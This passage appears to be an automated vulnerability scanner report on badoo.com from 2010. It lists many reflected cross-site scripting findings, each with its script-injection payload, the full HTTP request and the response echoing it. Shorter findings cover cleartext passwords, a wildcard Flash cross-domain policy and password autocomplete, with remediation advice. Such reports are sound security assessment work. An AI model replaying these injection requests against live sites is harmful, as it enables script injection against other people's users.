The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1423f"><script>alert(1)</script>cf2c6f2baa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /privacy1423f"><script>alert(1)</script>cf2c6f2baa/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:59 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:58 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5677
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/privacy1423f"><script>alert(1)</script>cf2c6f2baa/?lang_id=5"> ...[SNIP]...
3.39. http://badoo.com/privacy/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://badoo.com
Path:
/privacy/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e2b8"><script>alert(1)</script>42a47261f69 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /privacy/?8e2b8"><script>alert(1)</script>42a47261f69=1 HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:42 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:41 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 17418
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" />
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d5e4"><script>alert(1)</script>592a923bd9f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pronico1d5e4"><script>alert(1)</script>592a923bd9f/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:54:51 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:50 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5693
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/pronico1d5e4"><script>alert(1)</script>592a923bd9f/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83ed8"><script>alert(1)</script>8c791cea6b8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /signin83ed8"><script>alert(1)</script>8c791cea6b8/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:51:26 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:25 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5677
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/signin83ed8"><script>alert(1)</script>8c791cea6b8/?lang_id=5"> ...[SNIP]...
3.42. http://badoo.com/signin/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://badoo.com
Path:
/signin/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28ce4"><script>alert(1)</script>707d970f30c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /signin/?28ce4"><script>alert(1)</script>707d970f30c=1 HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:51:10 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:09 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 9344
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id=1 ...[SNIP]... <a href="http://badoo.com/signin/?lang_id=5&28ce4"><script>alert(1)</script>707d970f30c=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6fb64"><script>alert(1)</script>f79b691ac3c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /signup6fb64"><script>alert(1)</script>f79b691ac3c/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:58:05 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:58:04 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5677
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/signup6fb64"><script>alert(1)</script>f79b691ac3c/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d5a7"><script>alert(1)</script>ee97d12b54b60889f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: keep-alive Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 16:27:35 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 7517
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/signup5d5a7"><script>alert(1)</script>ee97d12b54b60889f/?lang_id=5&sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4&post=1&sec_id=&email=&password=&year=0&month=0&day=0&create_profile="> ...[SNIP]...
3.45. http://badoo.com/signup/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://badoo.com
Path:
/signup/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7a1f"><script>alert(1)</script>c003ff4f43c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /signup/?e7a1f"><script>alert(1)</script>c003ff4f43c=1 HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:57:40 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:57:39 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 28155
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id=1 ...[SNIP]... <a href="http://badoo.com/signup/?lang_id=5&e7a1f"><script>alert(1)</script>c003ff4f43c=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db9ac"><script>alert(1)</script>b1f0e790fb3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tarabelldb9ac"><script>alert(1)</script>b1f0e790fb3/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:51 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:50 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5709
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/tarabelldb9ac"><script>alert(1)</script>b1f0e790fb3/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d658c"><script>alert(1)</script>45b48e569e9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /termsd658c"><script>alert(1)</script>45b48e569e9/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:46 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:45 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5661
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/termsd658c"><script>alert(1)</script>45b48e569e9/?lang_id=5"> ...[SNIP]...
3.48. http://badoo.com/terms/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://badoo.com
Path:
/terms/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa20a"><script>alert(1)</script>d825bde639a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /terms/?fa20a"><script>alert(1)</script>d825bde639a=1 HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:15 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:14 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 11761
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" />
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abf92"><script>alert(1)</script>82e2510a1b9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /veletanga77abf92"><script>alert(1)</script>82e2510a1b9/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:19 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:18 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5757
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/veletanga77abf92"><script>alert(1)</script>82e2510a1b9/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8e77"><script>alert(1)</script>ed62482fd6c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /vianey06b8e77"><script>alert(1)</script>ed62482fd6c/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:32 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:31 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5709
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/vianey06b8e77"><script>alert(1)</script>ed62482fd6c/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34cb6"><script>alert(1)</script>a1b216c660a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /webone34cb6"><script>alert(1)</script>a1b216c660a/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:23 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:22 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5677
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/webone34cb6"><script>alert(1)</script>a1b216c660a/?lang_id=5"> ...[SNIP]...
4. Cleartext submission of passwordpreviousnext There are 5 instances of this issue:
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Issue background
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
Request
GET /crossdomain.xml HTTP/1.0 Host: badoo.com
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Date: Tue, 09 Nov 2010 15:49:36 GMT Content-Type: text/xml Content-Length: 8038 Last-Modified: Wed, 26 May 2010 08:11:55 GMT Connection: close Accept-Ranges: bytes
6. Password field with autocomplete enabledpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://badoo.com
Path:
/signin/
Issue detail
The page contains a form with the following action URL:
http://badoo.com/signin/
The form contains the following password field with autocomplete enabled:
password
Issue background
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
Request
GET /signin/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:50:04 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:50:03 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 8520
